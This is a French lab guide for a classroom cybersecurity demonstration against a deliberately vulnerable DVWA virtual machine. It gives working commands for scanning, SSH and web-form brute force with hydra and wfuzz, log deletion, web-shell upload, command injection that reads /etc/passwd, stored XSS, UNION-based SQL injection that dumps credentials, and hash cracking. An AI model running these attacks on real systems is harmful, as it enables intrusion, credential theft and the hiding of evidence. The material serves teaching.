Explication des démonstrations.

0-Preparation

Pour réaliser cette activité, vous devez disposer des applications suivantes :

- Oracle VirtualBox avec les extensions : http://www.virtualbox.org/
- Hashicorp Vagrant : https://developer.hashicorp.com/vagrant/install?product_intent=vagrant

Pour créer le « labs » (dans le répertoire JPO/VM)

```
vagrant up
```

Pour se connecter à une machine (attack par exemple) :

```
vagrant ssh attack
```

1-Demonstration

On scanne le réseau (Attention à bien le faire sur le réseau du « Labs »)

On regarde le réseau virtuel pour détecter les machines

```
nmap -sV 192.168.56.0/24 -oN resultat.txt
```

On dispose d'un fichier avec la liste des utilisateurs

```
cat /vagrant/demo/users.txt
```

On dispose d'un fichier avec la liste des mots de passe classique

```
cat /vagrant/files/passwords.txt
```

Lancement de l'attaque brute force sur le service SSH

```
hydra -L /vagrant/files/users.txt \
  -P /vagrant/files/passwords.txt \
  192.168.56.60 \
  -t 2 -s 22 \
  ssh
```

Mouvement latéral

```
C'est une machine Vagrant, donc il y a de forte chance que le
compte vagrant existe et puisse devenir root
su vagrant (mot de passe par défaut vagrant)
sudo -i (pour devenir root)
```

Suppression des logs

```
systemctl stop systemd-journald
cd /var/log/journal/
rm -rf *
systemctl start systemd-journald
```

2-Demonstration.sh

On dispose d'un fichier avec la liste des répertoires
```
cat /vagrant/files/directory.txt
```

Scan de directory sur la machine présente
```
wfuzz -w /vagrant/files/directory.txt -v http://192.168.56.60/FUZZ
```

Le principe de **upload de fichier.**
On accède à la page
http://192.168.56.60/dvwa/vulnerabilities/upload/
On dépose le fichier shell.php (présent dans le répertoire /home/etudiant/JPO/VM/demo)

On accède au fichier via le lien de lecture des dépôts :
http://192.168.56,60/dvwa/hackable/uploads/shell.php
On peux ensuite exécuter des commandes dans le formulaire
```
cat /etc/passwd
```

Attaque brute force sur une page web

Avec wfuzz sur le compte admin uniquement
```
wfuzz -H "Cookie:security=low" \
--hs "Username and/or password incorrect." \
-c -z file,/vagrant/demo/passwords.txt \
"http://192.168.56.60/dvwa/vulnerabilities/brute/?
username=admin&password=FUZZ&Login=Login#"
```

Idem mais en mixant les comptes utilisateurs et les mots de passe
```
hydra 192.168.56.60 -l admin \
-P /vagrant/demo/passwords.txt \
http-get-form
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Logi
n=Login:H=Cookie:security=low :F=Username and/or password
incorrect."
```

Accès à un site de supervision de la Cyber-Sécurité (professeur à l'ESEO uniquement)
Dans un navigateur Web accès au site : https://vision.sirt.tp/

3-Demonstration.sh

Consignes sur DVWA (navigateur)

command injection : **http://192.168.56.60/dvwa/vulnerabilities/exec/**

```
8.8.8.8
8.8.8.8 && cat /etc/passwd
```

XSS (Stored)
faille de sécurité qui permet à un attaquant d'injecter dans un site web un code client malveillant

```
<script>alert('stored XSS');</script>

<script>window.location='https://www.eseo.fr/'</script>
```

Cela ne marche pas il faut modifier le code sur le navigateur pour que cela marche (maxlenght>50).
- Shift + CTRL + J
- html -> body -> main-body -> body-padded -> vulnerable_code_area -> post -> 2em tr -> td
- changer maxlenght de 50 en 150 pour coller le code qui va bien
Pour récupérer cela passer en mode security impossible pour faire ensuite le clear guestbook

Injection SQL

```
### Identifier le paramètre vulnérable
     1   puis    2    ….

### Tester une injection simple
     1'
Erreur SQL apparaît ce qui confirme que l'entrée utilisateur n'est pas filtrée et que la requête est directement injectée dans le SQL


### Injection classique (UNION SELECT)
* Nombre de colonnes possible
     1' ORDER BY 1-- -
     1' ORDER BY 2-- -                    <==
     1' ORDER BY 3-- -
```

* Affiche les résultats dans les colonnes 1 et 2. L'idée est de remplacer les vraies données par celles souhaitées.
1' UNION SELECT 1,2-- -

* version du SGBD
1' UNION SELECT null, database()-- -

* Obtenir les noms de tables
1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users'-- -

* Obtenir les noms de colonnes (d'une table, ex. `users`)

```
1' UNION SELECT null, column_name FROM information_schema.columns WHERE table_name='users'-- -
```

* Extraire les données

```
1' UNION SELECT user, password FROM users-- -
```

Casser le mot de passe découvert

* base de données en ligne (rainbow tables)

- https://crackstation.net
- https://md5decrypt.net

* Avec des outils locaux (installation du paquet john et de hashcat avec apt install ….)

```
echo "8d3533d75ae2c3966d7e0d4fcc69216b" > hash.txt
```

Nous a a déjà mis tous les hash dans le fichier files/liste_md5.txt

```
john --format=raw-md5 \
  --wordlist=/usr/share/wordlists/rockyou.txt \
  liste_md5.txt
```

```
hashcat -m 0 -a 0 \
  -o cracked.txt \
  files/liste_md5.txt \
  --show files/passwords.txt
```